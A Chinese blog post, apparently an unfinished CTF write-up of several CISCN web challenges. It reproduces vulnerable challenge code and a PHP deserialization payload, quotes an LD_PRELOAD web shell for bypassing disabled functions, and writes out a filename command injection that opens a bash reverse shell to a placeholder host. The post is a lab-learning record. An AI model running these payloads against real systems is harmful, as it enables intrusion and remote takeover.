CISCN中的一些题目[未完成]

做题记录


[CISCN 2022 初赛]online_crt

跟着wp做的

main.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
root_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
x509.NameAttribute(NameOID.LOCALITY_NAME, City),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=3650)
).sign(root_key, hashes.SHA256(), default_backend())
crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
with open(crt_name, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()

app.run(host="0.0.0.0", port=8888)

main.go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package main

import (
"github.com/gin-gonic/gin"
"os"
"strings"
)

func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}

func index(c *gin.Context) {
c.String(200, "hello world")
}

func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)

if err := router.Run(":8887"); err != nil {
panic(err)
}
}

[CISCN 2023 初赛]go_session

进去提示Hello, guest,结合题目直接抓包:

2023ciscngo_session1

main.go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"github.com/gin-gonic/gin"
"main/route"
)

func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}

route.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

[CISCN 2023 华北]ez_date

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

class类中存在__wakeup方法:

1
2
3
4
5
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) )

限制ab不能为数组,然后就是比较经典的强等于。限制了数组的话可以用碰撞解题,但后面还连着一个sha1===sha1

强等于除了数组外存在如下方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$a = sha1(12);
$b = sha1('12');
if ($a == $b &&md5(12) === md5('12')){
echo 'ok';
}
else{
echo 'no ok';
}

var_dump($a);
var_dump($b);
//结果:
ok
string(40) "7b52009b64fd0a2a49e6d8a939753077792b0554"
string(40) "7b52009b64fd0a2a49e6d8a939753077792b0554"

然后对file变量调用了date函数:

1
$content=date($this->file);

这东西可以用来转义,比如:

1
2
3
4
5
6
7
8
<?php
echo date("/flag");
echo"\n";
echo date("/f\l\a\g");
?>
//结果:
/fSundayam9
/flag

然后是对经过date函数转义后数据的处理:

1
2
3
4
            $uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);

先利用file_put_contents函数把$content放到生成的$uuid文件中,然后利用正则匹配将文件中的空白字符和换行替换为空字符,再赋值给$data。最后利用file_get_contentsecho配合输出。

所以构造payload

1
2
3
4
5
6
7
8
9
10
<?php
class date{
public $a = 1;
public $b = '1';
public $file = '/f\l\a\g';
}

$c = new date();
$d = serialize($c);
echo base64_encode($d);

最后是这几个file_get_contentsfile_get_contenes的组合使用:

1
2
3
4
5
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);

首先$content成了/flag,然后file_put_contents把/flag这个字符串写到目标文件里,然后file_get_contents($uuid)这东西把文件内容赋值给$data,这时$data成了/flag。最后再利用一个file_get_contents去读/flag的内容。

思路总结:

PHP中除数组外是否有其它方法绕过强等于?date函数可以起到转义作用。

[CISCN 2023 西南]do_you_like_read

下载附件,靠这么多:

2023ciscndoulikeread1

test文件夹下存在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

[CISCN 2023 华北]pysym

requirement.txt提示Flask

app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/',methods=['POST'])
def POST():
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'

links = []
for root, dirs, files in os.walk(directory):
for name in files:
extractedfile =os.path.join(root, name)
if os.path.islink(extractedfile):
os.remove(extractedfile)
return 'no symlink'
if os.path.isdir(path) :
return 'no directory'
links.append(extractedfile)
return render_template('index.html',links=links)
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)
if not os.path.isfile(filepath):
return '404', 404
return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=1337)

大致就是一个实现解压特定路径的压缩包到其它特定路径的功能:

1
2
3
4
5
6
7
8
9
10
11
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'

先限制了文件长度不能大于10240,然后利用十六个随机的十六进制数拼接成path。再利用os.path.join把这个pathapp.config['UPLOAD_FOLDER']拼接成一个完整路径赋值给directorysavepath同上。然后调用os.system中的tar把目标文件解压到directory路径中。

os.system这东西会执行系统命令filename可控导致savepath可控。

参考资料

可以通过构造xxx.tar||xxxxx来执行命令,不过单纯一个os.system是不存在回显的所以考虑反弹shell:

1
thr.txt || echo bash -c 'bash -i >& /dev/tcp/xxxx/9001 0>&1'

但注意savepath中不能包含特殊字符,base64加密一下就行:

1
echo xxxxxxx| base64 -d | bash |

最后加两个|闭合也行:

1
echo xxxxxxx| base64 -d | bash ||

思路总结:

os.system命令?是否有回显?以及对于:

1
os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))

是否可以考虑命令注入?

[CISCN 2023 初赛]DeserBug

题目给了附件,jar-gui打开:


CISCN中的一些题目[未完成]
http://example.com/2024/01/28/2024-1-28-CISCN中的一些题目/
作者
notbad3
发布于
2024年1月28日
许可协议